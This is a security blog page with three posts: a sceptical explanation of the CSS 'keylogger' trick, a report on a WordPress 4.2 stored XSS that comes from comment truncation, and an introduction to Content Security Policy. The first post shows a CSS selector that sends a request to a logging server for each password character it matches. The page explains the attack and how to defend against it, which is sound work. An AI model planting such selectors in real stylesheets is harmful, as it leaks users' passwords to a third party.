CSS Keylogger (and why you shouldn’t worry about it)

Leveraging CSS attribute selectors it – in theory – is possible to write a keylogger in pure CSS. The selector below for example targets all input[type="password"] elements whose last character is an a:

input[type="password"][value$="a"] {
  background-image: url("http://localhost:3000/a");

The theory goes that whenever a user presses the a character inside an input[type="password"], a request to http://localhost:3000/a will be made, thus leaving a breadcrumb trail in some server log for an admin to scoop up and reassemble. Duplicate the selector above for all possible characters, and you’ll see the password appear in your server logs per keystroke.

I see many people on Twitter freaking out because of this (what if it’s in a WordPress Theme you’ve installed?!), yet I don’t really worry about it as in practice this doesn’t work (tested with latest Firefox and Chrome on macOS):

  1. It only works with an initial value being set on an input, and not per key press nor after blurring the field.
  2. (Following up on 1) It will only catch the last character of a password when its being prefilled in the value attribute.
  3. It’s not triggered for values that have been autocompleted by the browser’s credentials manager / your password manager of choice.
  4. It can’t handle repeat characters, as the browser won’t re-request the background image in that case (unless you add some cache preventing headers on the receiving end)
  5. Due to parallelism it’s not guaranteed for the requests to be received by the server in the order they were typed in.
  6. What about mouse clicks in the password field (to change position) and the use of arrow keys / backspace?

Above that you can easily prevent it on your site by setting the proper Content Security Policy.

# UPDATE 2018.02.22: As Robin below and Mathias online detailed it can give issues when using two way databinding which tends to update the value attribute after each keypress (e.g. Think of React re-rendering after changing state) … but in that case it still is no “CSS (only) keylogger”.

Other attempts such as Keylogger using webfont with single character unicode-range (demo here) are getting closer, yet still don’t result in pure CSS based keylogger, as it can’t handle repeated characters.

So no worries there, CSS itself is still safe. It’s only when leveraged with another technology (JavaScript) that it can potentially leak data.

And again, you can still prevent it in that case too: Content Security Policy

As you were soldiers, carry on …

Did this help you out? Like what you see?
Consider donating.

I don’t run ads on my blog nor do I do this for profit. A donation however would always put a smile on my face though. Thanks!

☕️ Buy me a Coffee ($3)

WordPress 4.2 Stored XSS

Earlier this week WordPress 4.1.3. It fixed an XSS exploit discovered by a former student of mine. This week a new exploit – even in the new WordPress versions, including 4.2 – was uncovered.

Current versions of WordPress are vulnerable to a stored XSS. An unauthenticated attacker can inject JavaScript in WordPress comments.

If triggered by a logged-in administrator, under default settings the attacker can leverage the vulnerability to execute arbitrary code on the server via the plugin and theme editors.

Here’s how it works:

If the comment text is long enough, it will be truncated when inserted in the database. The MySQL TEXT type size limit is 64 kilobytes, so the comment has to be quite long.

The truncation results in malformed HTML generated on the page. The attacker can supply any attributes in the allowed HTML tags, in the same way as with the two recently published stored XSS vulnerabilities affecting the WordPress core.

Until a patched WordPress is available, it is wise to disable comments. I guess (read: think but haven’t tested it yet) that configuring your MySQL server with STRICT_ALL_TABLES would also work, as it should then trigger an error when too much data is attempted to being inserted.

UPDATE: Fixed in 4.1.4 and 4.2.1 (announcement). The rolled out fix checks the column length before actually tyring to perform the query. If the check fails, the query won’t be executed.

WordPress 4.2 Stored XSS →

Content Security Policy — Preventing XSS Attacks Client-side

An extra measure to preventing Cross-Site Scripting has now become a standard ready to be implemented. It’s as easy as including a Content-Security-Policy header on your sites

Content-Security-Policy: script-src 'self'; img-src 'none'

With the (example) policy above, external scripts and images won’t be loaded on your site. This new header however doesn’t mean you’re fully protected once you include it; you’ll still want to encode your strings serverside, as you don’t want *any* HTML tags to be injected. Also, older browsers still will be a target as they don’t understand the header (but that on the other hand could be a huge argument to pushing clients towards the newest version of their browser).

Alternatively you can also use a meta tag.

More on Content Security Policy: An Introduction To Content Security Policy →